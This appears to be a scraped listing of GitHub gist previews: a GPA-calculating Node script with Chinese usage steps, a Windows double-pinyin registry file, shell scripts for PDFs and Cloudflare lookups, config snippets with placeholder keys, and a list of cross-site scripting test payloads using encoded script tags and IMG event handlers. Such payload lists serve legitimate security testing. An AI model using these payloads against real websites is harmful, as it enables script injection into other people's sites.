- 把 main.js 存起來
- 在同個資料夾跑
npm install xlsx - 在教務系統載成績報表,然後把報表的 path 放進 main.js 裡面(89 行)
-
$ node main.js [ [ 2, 4.3 ], [ 2, 4 ], [ 2, 4 ], [ 2, 3.7 ], [ 3, 4 ], [ 3, 4 ],
[ 3, 3.7 ], [ 1, 4.3 ], [ 3, 1 ],
| Windows Registry Editor Version 5.00 | |
| [HKEY_CURRENT_USER\SOFTWARE\Microsoft\InputMethod\Settings\CHS] | |
| "UserDefinedDoublePinyinScheme0"="Xiaohe*2*^*iuvdjhcwfg xmlnpbksqszxkrltvyovt" | |
| [HKEY_CURRENT_USER\SOFTWARE\Microsoft\InputMethod\Settings\CHT] | |
| "UserDefinedDoublePinyinScheme0"="Xiaohe*2*^*iuvdjhcwfg xmlnpbksqszxkrltvyovt" |
| #!/usr/bin/env zsh | |
| # Apply scanner effect to a PDF | |
| # Credits: | |
| # https://gist.github.com/andyrbell/25c8632e15d17c83a54602f6acde2724 | |
| # https://github.com/NixOS/nixpkgs/issues/138638#issuecomment-1068569761 | |
| dirtypdf () { | |
| if [ $# -ne 2 ]; then | |
| echo "Usage: dirtypdf <input_pdf> <output_pdf>" |
| #!/usr/bin/osascript | |
| # Required parameters: | |
| # @raycast.schemaVersion 1 | |
| # @raycast.title Toggle iPad Mirroring | |
| # @raycast.mode silent | |
| # Optional parameters: | |
| # @raycast.icon 🖥️ |
| OPENAI_API_KEY=sk-proj-xxxx | |
| ANONYMIZED_TELEMETRY=false |
| #!/usr/bin/env bash | |
| lookup() { | |
| ips=$(dig @1.1.1.1 +short $1.cdn.cloudflare.net) | |
| echo "$1:" | |
| for ip in $ips; do | |
| curl -s --resolve $1:443:$ip https://$1/cdn-cgi/trace | grep "colo=" | |
| done | |
| echo "" |
| #!/bin/bash | |
| TOKEN="xxxxxxxxxxxxxxxxxxx" | |
| ZONE_ID=2222222222222222222222222 | |
| # [email protected] | |
| # KEY=11111111111111111111111111 | |
| # Replace with | |
| # -H "X-Auth-Email: ${EMAIL}" \ | |
| # -H "X-Auth-Key: ${KEY}" \ |
| %253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
| :3000 { | |
| root * /app | |
| try_files {path}.html {path} /index.html | |
| file_server | |
| header { | |
| -server | |
| } | |
| } |